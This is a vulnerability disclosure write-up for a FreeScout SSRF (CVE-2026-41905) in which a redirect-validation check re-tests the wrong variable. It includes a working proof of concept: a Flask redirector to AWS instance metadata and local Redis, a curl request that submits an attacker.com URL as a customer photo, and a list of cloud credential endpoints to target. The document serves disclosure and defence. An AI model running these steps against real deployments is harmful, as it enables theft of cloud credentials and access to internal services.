Skip to content

Latest commit

 

History

History
163 lines (118 loc) · 8.39 KB

File metadata and controls

163 lines (118 loc) · 8.39 KB

CVE-2026-41905 — FreeScout SSRF via redirect-validation bypass

Helper::sanitizeRemoteUrl() validates the original URL, follows redirects, and then re-validates the original URL again — not the final destination. One-line variable-swap bug, full SSRF.

CVE CVE-2026-41905 (NVD)
GHSA GHSA-22wf-848c-c856
Severity High — CVSS 7.7
Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE CWE-918: Server-Side Request Forgery
Affected FreeScout < 1.8.217
Fixed 1.8.217
Authentication Authenticated low-priv user (or unauthenticated via inbound email attachment processing)
Reporter @whatisproblem

Summary

Helper::sanitizeRemoteUrl($url) is FreeScout's central SSRF defence — a single helper that every "fetch this user-supplied URL" path is supposed to flow through. It correctly:

  1. Parses the supplied URL.
  2. Resolves the host to an IP.
  3. Rejects RFC1918, loopback, link-local, and the cloud-metadata IP (169.254.169.254).
  4. Follows redirects with cURL to expose the final URL.
  5. Re-validates the wrong variable. Specifically, it re-checks $url (the original) instead of $last_redirected_url (the post-redirect target).

Concretely, line 1914 of app/Misc/Helper.php reads (paraphrased):

// after CURLOPT_FOLLOWLOCATION captured $last_redirected_url
if (!self::sanitizeRemoteUrl_check($url)) {       // BUG: $url is the original, already-validated string
    return false;
}
return $last_redirected_url;

The fix is changing $url to $last_redirected_url. That's it. One identifier.

Exploitation

The attacker controls a public URL, e.g. https://attacker.com/redir, that responds with:

HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

sanitizeRemoteUrl("https://attacker.com/redir") sees attacker.com resolves to a public IP → first check passes. cURL follows the redirect to 169.254.169.254 (AWS instance metadata service). The function re-validates $url — still https://attacker.com/redir, which still passes — and returns the redirect target. Whatever caller invoked the helper now happily fetches 169.254.169.254 and gets back IAM credentials.

The same pattern grants:

Target What you get
169.254.169.254/latest/meta-data/... (AWS) Instance role IAM credentials, user-data
metadata.google.internal/... (GCP) Project/instance metadata, default service-account token
169.254.169.254/metadata/instance?... (Azure IMDS) Instance metadata, MSI tokens
127.0.0.1:6379 (Redis without auth) Read/write on local Redis if reachable
127.0.0.1:9200 (Elasticsearch) Index data
10.0.0.0/8 internal API endpoints Whatever those endpoints do without origin validation

Vulnerable entry points

sanitizeRemoteUrl() is reachable from at least three code paths in FreeScout, each with different auth requirements:

Path Auth Notes
Customer photo URL update Any agent Lowest barrier — agent-editable customer profile fetches the URL server-side to mirror the avatar.
Module download URL (admin only) Admin Higher bar but high blast radius — admin already, but RCE on the module download path becomes possible if metadata yields creds with deploy access.
Inbound email attachment processing None If attachment processing dereferences a remote URL embedded in inbound mail, the sender is anonymous. This is the most dangerous path.

The Customer-photo path is the canonical PoC because it's reachable with a single low-privilege account and the response is observable (the photo "fetch" either succeeds or errors loudly enough to leak content via timing/size).

Reproduction

Setup

git clone https://github.com/freescout-help-desk/freescout
cd freescout && git checkout 1.8.216
docker compose up -d

Run a tiny redirector on a public IP (or on the host, if FreeScout's container can reach it):

# python -m http.server isn't enough; use Flask for a 302
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/aws')
def aws():
    return redirect('http://169.254.169.254/latest/meta-data/iam/security-credentials/', code=302)

@app.route('/redis')
def redis():
    # Redis speaks a text protocol; SSRF can issue a single command via HTTP framing
    return redirect('http://127.0.0.1:6379/_', code=302)

app.run(host='0.0.0.0', port=8080)

Step 1 — log in as any agent and update a customer photo URL

curl -b jar.txt -X POST \
  http://localhost:8080/customers/<CUSTOMER_ID>/edit \
  -H "X-CSRF-TOKEN: <csrf>" \
  --data-urlencode 'photo_url=https://attacker.com/aws'

Step 2 — observe the SSRF

If the destination is the AWS IMDS, FreeScout's HTTP client fetches it. Depending on whether the response gets stored, surfaced in a flash message, or just consumed, the credentials may be returnable directly to the attacker via a follow-up read of the customer record, or — at minimum — observable in the application's outbound network logs and timing differential vs a non-existent host.

For the demonstrative PoC, watch outbound traffic on the FreeScout container:

docker exec -it freescout_app sh -c 'tcpdump -i any -nn host 169.254.169.254'

The redirect-followed request lands on IMDS. That is the SSRF.

Demonstrative scope only. No real cloud credentials are exfiltrated in the PoC. In a deployment running on EC2 with an IAM role attached, the impact is full retrieval of those credentials.

Fix

Patched in 1.8.217. The minimal correct patch:

- if (!self::sanitizeRemoteUrl_check($url)) {
+ if (!self::sanitizeRemoteUrl_check($last_redirected_url)) {
      return false;
  }
  return $last_redirected_url;

A more defensive variant also:

  • Rejects all redirects to a different scheme (e.g. http://https://localhost:443 is still localhost).
  • Re-resolves the post-redirect host's DNS at fetch time and rejects if the resolved IP changed mid-fetch (DNS rebinding hardening — separate but related class).
  • Disables gopher://, file://, dict://, ldap:// etc. via CURLOPT_PROTOCOLS.

Timeline

  • 2026-04-17/18 — Discovered during automated audit.
  • 2026-04-18 — Reported privately via GHSA Draft.
  • 2026-04 — Patched in 1.8.217.
  • 2026-07-17 (planned) — Public write-up published.

Lessons

  • Validation must follow the data, not the variable. This bug is a single mistyped identifier — exactly the kind of error that taint-tracking would have caught immediately because the value being validated post-redirect doesn't carry the property "was just resolved by cURL".
  • One central sanitiser is right; use it correctly. FreeScout was already doing the right architectural thing — funnelling SSRF defence through one helper. The implementation just had a one-character bug. Centralisation is what makes the one-character fix possible.
  • Re-resolve at the fetch boundary. Because of this bug, a deeper question worth asking: even with the fix, does the application re-resolve DNS just before the actual HTTP fetch, or does it trust the IP it resolved during validation? DNS rebinding (CWE-350-adjacent) bypasses helper-based SSRF defences that don't re-resolve. That's an enhancement, not the present CVE — but worth a follow-up audit.
  • Inbound mail is the scariest entry point. Anywhere in the codebase where unauthenticated network input becomes a server-side fetch deserves twice the validation rigour.

References